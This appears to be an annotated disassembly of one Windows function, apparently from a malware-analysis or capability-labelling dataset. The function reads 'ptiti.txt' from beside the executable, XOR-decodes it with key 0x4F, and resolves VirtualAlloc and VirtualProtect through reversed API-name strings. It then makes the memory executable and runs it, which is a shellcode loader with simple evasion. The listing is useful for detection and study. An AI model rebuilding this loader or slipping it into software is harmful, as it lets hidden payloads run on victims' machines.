Function at 0x140001f50
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0xf8]
sub rsp, 0x1e0
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x14004e080]
xor rax, rsp
mov qword [rbp + 0xd0], rax
xor edi, edi
mov dword [rsp + 0x20], edi
xor edx, edx
mov r8d, 0x105
lea rcx, [rbp - 0x40]
call fcn.14000fc20
mov r8d, 0x104
lea rdx, [rbp - 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [rdi + 0x5c]
lea rcx, [rbp - 0x40]
call fcn.14000f4fc
mov byte [rax], dil
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], dil
lea rax, [rbp - 0x40]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], dil
jne 0x140001fe3
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x70]
call fcn.140003ed0
nop
movdqa xmm0, xmmword [0x140047d00]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
movsd xmm0, qword [str.ptiti.txt]
movsd qword [rbp - 0x70], xmm0
movzx eax, word [0x140047578]
mov word [rbp - 0x68], ax
movzx eax, byte [0x14004757a]
mov byte [rbp - 0x66], al
movdqa xmm0, xmmword [0x140047d00]
movdqu xmmword [rsp + 0x38], xmm0
mov byte [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
lea rax, [rbp - 0x70]
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002050
mov rsi, qword [rbp - 0x80]
lea rdx, [rsi + rbx]
cmp rdx, 0x10
jb 0x140002076
lea rcx, [rsp + 0x28]
call fcn.14000a3f0
mov qword [rsp + 0x38], rdi
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0x10
cmovae rdx, qword [rsp + 0x70]
mov r8, rsi
lea rcx, [rsp + 0x28]
call fcn.140004030
mov r8, rbx
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x28]
call fcn.140004030
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1400020e1
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000247f
call fcn.14000ddd4
movups xmm0, xmmword [rsp + 0x28]
movups xmmword [rsp + 0x50], xmm0
movdqu xmm1, xmmword [rsp + 0x38]
movups xmmword [rsp + 0x60], xmm1
lea rsi, [rsp + 0x50]
movq rcx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0x10
cmovae rsi, rcx
lea rdx, [0x140047568]
mov rcx, rsi
call fcn.140015f18
mov rbx, rax
test rax, rax
je 0x1400021b4
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rax
call fcn.1400165b4
mov rcx, rbx
call fcn.140012470
movsxd r14, eax
mov rcx, rbx
call fcn.14001a6c4
mov rcx, rbx
call fcn.140016234
test r14, r14
je 0x1400021b4
lea rdx, [0x140047568]
mov rcx, rsi
call fcn.140015f18
mov r15, rax
test rax, rax
je 0x1400021b4
mov rcx, r14
call fcn.14000de18
mov rsi, rax
mov rcx, r15
call fcn.14001a6c4
mov r9, r15
mov r8, r14
mov edx, 1
mov rcx, rsi
call fcn.14001ad20
mov rbx, rax
mov rcx, r15
call fcn.140016234
test rbx, rbx
jne 0x14000227b
mov rcx, rsi
call fcn.14000ddd4
lea rcx, str.hello_hello_hello_n
call fcn.1400011f0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1400021fe
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002485
call fcn.14000ddd4
movdqa xmm0, xmmword [0x140047d00]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x14000224d
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002248
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002479
call fcn.14000ddd4
xor eax, eax
mov rcx, qword [rbp + 0xd0]
xor rcx, rsp
call fcn.14000ddb0
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
test rsi, rsi
je 0x1400021b4
movsd xmm0, qword [str.collAlautriV]
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x1400475a0]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x1400475a4]
mov byte [rbp - 0x44], al
lea rcx, [rbp - 0x50]
call fcn.140022b2c
lea rcx, [0x1400475a8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 4
mov r8d, 0x1000
mov rdx, r14
xor ecx, ecx
call rax
mov rbx, rax
cmp r14, 0x40
jb 0x14000235c
lea ecx, [r14 - 1]
movsxd rdx, ecx
add rax, rdx
lea rcx, [rdx + rsi]
cmp rbx, rcx
ja 0x1400022fb
cmp rax, rsi
jae 0x14000235c
mov r8, r14
and r8, 0xffffffffffffffc0
movdqa xmm2, xmmword [str.OOOOOOOOOOOOOOOO]
mov rcx, rbx
mov rdx, rsi
sub rdx, rbx
movdqu xmm0, xmmword [rdx + rcx]
pxor xmm0, xmm2
movdqu xmmword [rcx], xmm0
movdqu xmm1, xmmword [rdx + rcx + 0x10]
pxor xmm1, xmm2
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmm0, xmmword [rdx + rcx + 0x20]
pxor xmm0, xmm2
movdqu xmmword [rcx + 0x20], xmm0
movdqu xmm1, xmmword [rdx + rcx + 0x30]
pxor xmm1, xmm2
movdqu xmmword [rcx + 0x30], xmm1
add edi, 0x40
lea rcx, [rcx + 0x40]
movsxd rax, edi
cmp rax, r8
jb 0x140002313
movsxd rax, edi
cmp rax, r14
jae 0x140002386
lea rdx, [rax + rbx]
sub rsi, rbx
nop dword [rax + rax]
movzx eax, byte [rdx + rsi]
xor al, 0x4f
mov byte [rdx], al
inc edi
lea rdx, [rdx + 1]
movsxd rax, edi
cmp rax, r14
jb 0x140002370
movsd xmm0, qword [str.tcetorPlautriV]
movsd qword [rbp - 0x60], xmm0
mov eax, dword [0x1400475c0]
mov dword [rbp - 0x58], eax
movzx eax, word [0x1400475c4]
mov word [rbp - 0x54], ax
movzx eax, byte [0x1400475c6]
mov byte [rbp - 0x52], al
lea rcx, [rbp - 0x60]
call fcn.140022b2c
lea rcx, [0x1400475a8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [0x140050da0]
mov r8d, 0x40
mov rdx, r14
mov rcx, rbx
call rax
call rbx
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140002425
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002420
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000248b
call fcn.14000ddd4
movdqa xmm0, xmmword [0x140047d00]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x14000224f
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000246f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002491
call fcn.14000ddd4
jmp 0x14000224f
call fcn.14001b190
nop
call fcn.14001b190
nop
call fcn.14001b190
int3
call fcn.14001b190
nop
call fcn.14001b190
int3